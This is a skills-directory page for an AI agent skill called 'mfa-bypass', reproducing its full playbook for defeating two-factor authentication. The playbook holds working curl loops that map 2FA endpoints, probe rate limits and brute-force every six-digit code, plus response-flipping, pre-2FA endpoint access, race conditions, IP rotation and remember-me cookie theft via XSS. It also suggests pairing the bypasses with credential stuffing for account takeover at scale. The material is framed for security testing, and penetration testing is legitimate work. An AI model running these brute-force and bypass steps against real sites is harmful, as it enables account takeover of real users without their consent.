mfa-bypass
What it does
This skill explains how two-factor checks can fail, including response tampering, weak rate limits and reset flows that skip the second step. It is for security testers.
When to use it
- βWhen a site uses one-time codes or two-factor checks and you want to test them.
- βWhen a security review asks whether two-factor checks have rate limits or lockouts.
- βWhen a password reset or remembered device may skip the second factor.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether the two-factor code on my login page can be guessed by trying many codes?β
5 new skills a week. 1 minute to read.
How it works
The agent maps the steps that should require a second factor, sends wrong codes to see whether limits apply, and checks other flows like reset or remember-me for skipped checks.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
MFA / 2FA Bypass Playbook
Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code β success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.
1. Detection β map the 2FA surface
Enumerate every flow that should require a second factor:
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
# 2. Submit a wrong OTP β what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
# 3. Rate-limit probe β burst 20 wrong codes
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout β brute force is open
2. Flaw matrix
| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns {"success":false} but client trusts it |
intercept β flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 β 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON |
edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10βΆ β brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp |
precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight β both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not |
use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset β skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session |
call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
| Recovery channel takeover | SMS β SIM swap, email β email ATO | downstream factor compromise |
3. Exploit PoC
3.1 Brute-force a 6-digit OTP (no rate limit)
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done
3.2 Response-flip bypass
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.
3.3 Direct post-2FA endpoint access
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data β broken step-up.
3.4 Race condition (HTTP/2 single-packet)
# Use Turbo Intruder "single-packet attack" β fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.
4. Chains
- MFA bypass β ATO is itself the chain endpoint. Pair with credential stuffing for scale.
- Password reset skips 2FA β ATO
FAQ
What does response tampering mean here?
It means changing a server reply, such as a success flag, to see whether the app moves on without a valid code.
Does it test limits on guesses?
Yes, it sends a burst of wrong codes to check whether any rate limit or lockout appears.
Are race conditions covered?
Yes, the skill lists race conditions as one way two-factor checks can fail.
Details
Original description by the author
2FA / OTP logic flaws β response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14071
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.